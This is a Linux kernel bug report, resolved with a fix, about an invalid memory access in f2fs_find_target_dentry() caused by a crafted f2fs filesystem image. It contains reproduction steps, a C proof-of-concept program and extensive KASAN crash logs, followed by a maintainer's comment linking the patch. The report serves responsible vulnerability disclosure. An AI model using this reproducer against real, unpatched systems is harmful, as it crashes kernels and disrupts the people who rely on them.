Bug 200425 - Invalid memory access in f2fs_find_target_dentry() when operating files on an f2fs image
Summary: Invalid memory access in f2fs_find_target_dentry() when operating files on an...
Status: RESOLVED CODE_FIX
Alias: None
Product: File System
Classification: Unclassified
Component: f2fs (show other bugs)
Hardware: All Linux
: P1 normal
Assignee: F2FS development list
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2018-07-05 19:14 UTC by Wen Xu
Modified: 2018-08-26 00:21 UTC (History)
3 users (show)

See Also:
Kernel Version: 4.18
Subsystem:
Regression: No
Bisected commit-id:


Attachments
The (compressed) crafted image which causes crash (65.70 KB, application/zip)
2018-07-05 19:14 UTC, Wen Xu
Details

Description Wen Xu 2018-07-05 19:14:44 UTC
Created attachment 277201 [details]
The (compressed) crafted image which causes crash

- Reproduce
# mkdir mnt
# mount -t f2fs final.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);

  int fd = open(foo_bar_baz, O_RDONLY, 0);
  if (fd >= 0) {
    read(fd, (char *)buf, 11);
    read(fd, (char *)buf, 11);
    close(fd);
  }

  fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) { 
    write(fd, (char *)buf, 517); 
    write(fd, (char *)buf, sizeof(buf)); 
    fdatasync(fd);
    fsync(fd);

    close(fd); 
  }  

  fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    close(fd);
  }
  
}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
[ 2924.487551] ==================================================================
[ 2924.487879] BUG: KASAN: use-after-free in f2fs_iget+0xcb9/0x1a80
[ 2924.488085] Read of size 4 at addr ffff8801ee2c1968 by task mount/1216

[ 2924.488416] CPU: 0 PID: 1216 Comm: mount Not tainted 4.17.0+ #1
[ 2924.488419] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 2924.488428] Call Trace:
[ 2924.488462]  dump_stack+0x71/0xab
[ 2924.488494]  print_address_description+0x6b/0x290
[ 2924.488500]  kasan_report+0x28e/0x390
[ 2924.488504]  ? f2fs_iget+0xcb9/0x1a80
[ 2924.488507]  f2fs_iget+0xcb9/0x1a80
[ 2924.488522]  ? f2fs_fill_super+0x1b4c/0x2b40
[ 2924.488526]  f2fs_fill_super+0x1b4c/0x2b40
[ 2924.488534]  ? f2fs_commit_super+0x1a0/0x1a0
[ 2924.488547]  ? sget_userns+0x65e/0x690
[ 2924.488566]  ? set_blocksize+0x88/0x130
[ 2924.488571]  ? f2fs_commit_super+0x1a0/0x1a0
[ 2924.488575]  mount_bdev+0x1c0/0x200
[ 2924.488580]  mount_fs+0x5c/0x190
[ 2924.488589]  vfs_kern_mount+0x64/0x190
[ 2924.488600]  do_mount+0x2e4/0x1450
[ 2924.488605]  ? copy_mount_string+0x20/0x20
[ 2924.488609]  ? kasan_unpoison_shadow+0x31/0x40
[ 2924.488613]  ? kasan_kmalloc+0xa6/0xd0
[ 2924.488624]  ? memcg_kmem_put_cache+0x16/0x90
[ 2924.488628]  ? __kmalloc_track_caller+0x196/0x210
[ 2924.488647]  ? _copy_from_user+0x61/0x90
[ 2924.488659]  ? memdup_user+0x3e/0x60
[ 2924.488664]  ksys_mount+0x7e/0xd0
[ 2924.488668]  __x64_sys_mount+0x62/0x70
[ 2924.488690]  do_syscall_64+0x73/0x160
[ 2924.488702]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 2924.488718] RIP: 0033:0x7f91a84d0b9a
[ 2924.488719] Code: 48 8b 0d 01 c3 2b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ce c2 2b 00 f7 d8 64 89 01 48 
[ 2924.488777] RSP: 002b:00007ffe1d716c78 EFLAGS: 00000206 ORIG_RAX: 00000000000000a5
[ 2924.488789] RAX: ffffffffffffffda RBX: 0000000001993030 RCX: 00007f91a84d0b9a
[ 2924.488792] RDX: 0000000001993210 RSI: 0000000001994f30 RDI: 000000000199f040
[ 2924.488794] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000013
[ 2924.488797] R10: 00000000c0ed0000 R11: 0000000000000206 R12: 000000000199f040
[ 2924.488799] R13: 0000000001993210 R14: 0000000000000000 R15: 0000000000000003

[ 2924.488909] Allocated by task 1146:
[ 2924.489070]  kasan_kmalloc+0xa6/0xd0
[ 2924.489083]  kmem_cache_alloc+0xc8/0x1e0
[ 2924.489089]  getname_kernel+0x3c/0x190
[ 2924.489093]  open_exec+0xc/0x40
[ 2924.489106]  load_script+0x31b/0x370
[ 2924.489111]  search_binary_handler+0x11c/0x2d0
[ 2924.489115]  __do_execve_file.isra.34+0xa86/0xe40
[ 2924.489119]  __x64_sys_execve+0x54/0x60
[ 2924.489122]  do_syscall_64+0x73/0x160
[ 2924.489126]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[ 2924.489223] Freed by task 1146:
[ 2924.489364]  __kasan_slab_free+0x137/0x190
[ 2924.489368]  kmem_cache_free+0x85/0x1e0
[ 2924.489372]  open_exec+0x31/0x40
[ 2924.489375]  load_script+0x31b/0x370
[ 2924.489379]  search_binary_handler+0x11c/0x2d0
[ 2924.489383]  __do_execve_file.isra.34+0xa86/0xe40
[ 2924.489386]  __x64_sys_execve+0x54/0x60
[ 2924.489390]  do_syscall_64+0x73/0x160
[ 2924.489394]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[ 2924.489489] The buggy address belongs to the object at ffff8801ee2c1100
                which belongs to the cache names_cache of size 4096
[ 2924.489890] The buggy address is located 2152 bytes inside of
                4096-byte region [ffff8801ee2c1100, ffff8801ee2c2100)
[ 2924.490272] The buggy address belongs to the page:
[ 2924.490454] page:ffffea0007b8b000 count:1 mapcount:0 mapping:ffff8801f3586380 index:0x0 compound_mapcount: 0
[ 2924.490744] flags: 0x17fff8000008100(slab|head)
[ 2924.490917] raw: 017fff8000008100 ffffea0007a84200 0000000300000003 ffff8801f3586380
[ 2924.491156] raw: 0000000000000000 0000000000070007 00000001ffffffff 0000000000000000
[ 2924.491391] page dumped because: kasan: bad access detected

[ 2924.491674] Memory state around the buggy address:
[ 2924.491848]  ffff8801ee2c1800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 2924.492073]  ffff8801ee2c1880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 2924.492315] >ffff8801ee2c1900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 2924.492540]                                                           ^
[ 2924.492753]  ffff8801ee2c1980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 2924.492994]  ffff8801ee2c1a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 2924.493218] ==================================================================
[ 2924.493443] Disabling lock debugging due to kernel taint
[ 2924.499467] F2FS-fs (loop0): Mounted with checkpoint version = 2
[ 2932.401216] BUG: unable to handle kernel paging request at ffffed0048001e8e
[ 2932.401472] PGD 23fff0067 P4D 23fff0067 PUD 23fbf1067 PMD 0 
[ 2932.401679] Oops: 0000 [#1] SMP KASAN PTI
[ 2932.401840] CPU: 1 PID: 1230 Comm: a.out Tainted: G    B             4.17.0+ #1
[ 2932.402068] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 2932.402355] RIP: 0010:check_memory_region+0x59/0x190
[ 2932.402532] Code: f8 49 89 db 49 c1 e8 03 49 c1 eb 03 4d 01 cb 4d 01 c1 49 8d 6b 01 4c 89 c8 49 89 ea 4d 29 ca 49 83 fa 10 7f 3b 4d 85 d2 74 32 <41> 80 39 00 75 23 48 b8 01 00 00 00 00 fc ff df 4d 01 d1 49 01 c0 
[ 2932.403108] RSP: 0018:ffff8801ee847300 EFLAGS: 00010202
[ 2932.403290] RAX: ffffed0048001e8e RBX: ffff88024000f472 RCX: ffffffff935a2e0c
[ 2932.403513] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff88024000f471
[ 2932.403736] RBP: ffffed0048001e8f R08: 1ffff10048001e8e R09: ffffed0048001e8e
[ 2932.403960] R10: 0000000000000001 R11: ffffed0048001e8e R12: ffff88024000f469
[ 2932.404182] R13: ffff8801ee847418 R14: 000000000003136c R15: 0000000000000000
[ 2932.404406] FS:  00007fdc60870700(0000) GS:ffff8801f3b00000(0000) knlGS:0000000000000000
[ 2932.404665] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2932.404874] CR2: ffffed0048001e8e CR3: 000000018e870000 CR4: 00000000000006e0
[ 2932.411076] Call Trace:
[ 2932.416290]  f2fs_find_target_dentry+0xfc/0x280
[ 2932.421487]  f2fs_find_in_inline_dir+0x214/0x340
[ 2932.426555]  ? f2fs_recover_inline_data+0x520/0x520
[ 2932.431591]  ? deref_stack_reg+0x97/0xe0
[ 2932.436516]  ? __read_once_size_nocheck.constprop.6+0x10/0x10
[ 2932.441476]  ? stack_access_ok+0x35/0x80
[ 2932.446473]  __f2fs_find_entry+0x55f/0x620
[ 2932.451446]  ? kasan_unpoison_shadow+0x31/0x40
[ 2932.456474]  ? kasan_kmalloc+0xa6/0xd0
[ 2932.461488]  ? f2fs_find_target_dentry+0x280/0x280
[ 2932.466548]  ? kmem_cache_alloc+0x176/0x1e0
[ 2932.471551]  ? __d_lookup_rcu+0x6a/0x2f0
[ 2932.476502]  ? d_alloc+0xbe/0xe0
[ 2932.481429]  ? memset+0x1f/0x40
[ 2932.486264]  ? fscrypt_setup_filename+0x1d8/0x4a0
[ 2932.491114]  f2fs_find_entry+0xd6/0x100
[ 2932.495847]  ? __f2fs_find_entry+0x620/0x620
[ 2932.500480]  ? unwind_get_return_address+0x2f/0x50
[ 2932.505055]  f2fs_lookup+0x271/0x580
[ 2932.509602]  ? __recover_dot_dentries+0x400/0x400
[ 2932.514087]  ? legitimize_path.isra.29+0x5a/0xa0
[ 2932.518574]  __lookup_slow+0x11c/0x220
[ 2932.523017]  ? may_delete+0x2a0/0x2a0
[ 2932.527398]  ? __lookup_hash+0xb0/0xb0
[ 2932.531844]  ? get_empty_filp+0x63/0x250
[ 2932.536338]  lookup_slow+0x3e/0x60
[ 2932.540748]  walk_component+0x3ac/0x990
[ 2932.545143]  ? async_page_fault+0x1e/0x30
[ 2932.549570]  ? pick_link+0x3e0/0x3e0
[ 2932.553913]  ? stack_access_ok+0x35/0x80
[ 2932.558184]  ? deref_stack_reg+0x97/0xe0
[ 2932.562388]  ? in_group_p+0x9f/0xe0
[ 2932.566520]  ? generic_permission+0x51/0x1e0
[ 2932.570652]  link_path_walk+0x288/0x770
[ 2932.574671]  ? apparmor_capget+0x380/0x380
[ 2932.578591]  ? kasan_unpoison_shadow+0x31/0x40
[ 2932.582373]  ? walk_component+0x990/0x990
[ 2932.586020]  ? path_init+0x2e6/0x580
[ 2932.589569]  path_openat+0x1b4/0x1fa0
[ 2932.593066]  ? is_bpf_text_address+0xa/0x20
[ 2932.596521]  ? kernel_text_address+0xcc/0xe0
[ 2932.599929]  ? __kernel_text_address+0xe/0x30
[ 2932.603330]  ? unwind_get_return_address+0x2f/0x50
[ 2932.606721]  ? vfs_unlink+0x250/0x250
[ 2932.610030]  ? save_stack+0x94/0xb0
[ 2932.613272]  ? kasan_kmalloc+0xa6/0xd0
[ 2932.616443]  ? kmem_cache_alloc+0xc8/0x1e0
[ 2932.619581]  ? getname_flags+0x73/0x2b0
[ 2932.622685]  ? do_sys_open+0x144/0x2a0
[ 2932.625890]  ? do_syscall_64+0x73/0x160
[ 2932.628957]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 2932.632057]  ? add_to_page_cache_lru+0x190/0x190
[ 2932.635140]  ? __mod_node_page_state+0x22/0xa0
[ 2932.638220]  ? __handle_mm_fault+0x119a/0x1920
[ 2932.641275]  do_filp_open+0x12b/0x1d0
[ 2932.644311]  ? may_open_dev+0x50/0x50
[ 2932.647361]  ? kasan_unpoison_shadow+0x31/0x40
[ 2932.650399]  ? kasan_kmalloc+0xa6/0xd0
[ 2932.653435]  ? __alloc_fd+0x1b0/0x250
[ 2932.656425]  ? do_sys_open+0x175/0x2a0
[ 2932.659439]  do_sys_open+0x175/0x2a0
[ 2932.662461]  ? filp_open+0x50/0x50
[ 2932.665448]  do_syscall_64+0x73/0x160
[ 2932.668407]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 2932.671426] RIP: 0033:0x7fdc60380040
[ 2932.674404] Code: 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 83 3d 09 27 2d 00 00 75 10 b8 02 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 7e e0 01 00 48 89 04 24 
[ 2932.680991] RSP: 002b:00007fffe1accb18 EFLAGS: 00000246 ORIG_RAX: 0000000000000002
[ 2932.684361] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fdc60380040
[ 2932.687755] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00000000022ab080
[ 2932.691163] RBP: 00007fffe1accb50 R08: 00000000022ab010 R09: 0000000000000000
[ 2932.694591] R10: 000000000000069d R11: 0000000000000246 R12: 00000000004006a0
[ 2932.698027] R13: 00007fffe1accc50 R14: 0000000000000000 R15: 0000000000000000
[ 2932.701490] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev input_leds serio_raw snd soundcore mac_hid i2c_piix4 ib_iser rdma_cm iw_cm ib_cm ib_core configfs iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear 8139too qxl ttm drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops drm crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel psmouse aes_x86_64 8139cp crypto_simd cryptd mii glue_helper pata_acpi floppy
[ 2932.726365] CR2: ffffed0048001e8e
[ 2932.730732] ---[ end trace a8e0d899985faf31 ]---
[ 2932.735137] RIP: 0010:check_memory_region+0x59/0x190
[ 2932.739561] Code: f8 49 89 db 49 c1 e8 03 49 c1 eb 03 4d 01 cb 4d 01 c1 49 8d 6b 01 4c 89 c8 49 89 ea 4d 29 ca 49 83 fa 10 7f 3b 4d 85 d2 74 32 <41> 80 39 00 75 23 48 b8 01 00 00 00 00 fc ff df 4d 01 d1 49 01 c0 
[ 2932.749060] RSP: 0018:ffff8801ee847300 EFLAGS: 00010202
[ 2932.753872] RAX: ffffed0048001e8e RBX: ffff88024000f472 RCX: ffffffff935a2e0c
[ 2932.758762] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff88024000f471
[ 2932.763678] RBP: ffffed0048001e8f R08: 1ffff10048001e8e R09: ffffed0048001e8e
[ 2932.768689] R10: 0000000000000001 R11: ffffed0048001e8e R12: ffff88024000f469
[ 2932.773668] R13: ffff8801ee847418 R14: 000000000003136c R15: 0000000000000000
[ 2932.778671] FS:  00007fdc60870700(0000) GS:ffff8801f3b00000(0000) knlGS:0000000000000000
[ 2932.783747] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2932.788864] CR2: ffffed0048001e8e CR3: 000000018e870000 CR4: 00000000000006e0

- Location
https://elixir.bootlin.com/linux/v4.18-rc3/source/fs/f2fs/dir.c#L126
		de = &d->dentry[bit_pos];

		if (unlikely(!de->name_len)) {
			bit_pos++;
			continue;
		}

Here `de` points to invalid address; I suspect there is missing check on `bit_pos`.

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.
Comment 1 Chao Yu 2018-07-08 06:08:53 UTC
Fixed by below commit, :)

"f2fs: fix to do sanity check with i_extra_isize"

Temp patch link:

https://git.kernel.org/pub/scm/linux/kernel/git/chao/linux.git/commit/?h=f2fs-dev&id=fc5c5c0424a08645c52490b1a02c847179ab3625

Note You need to log in before you can comment on or make changes to this bug.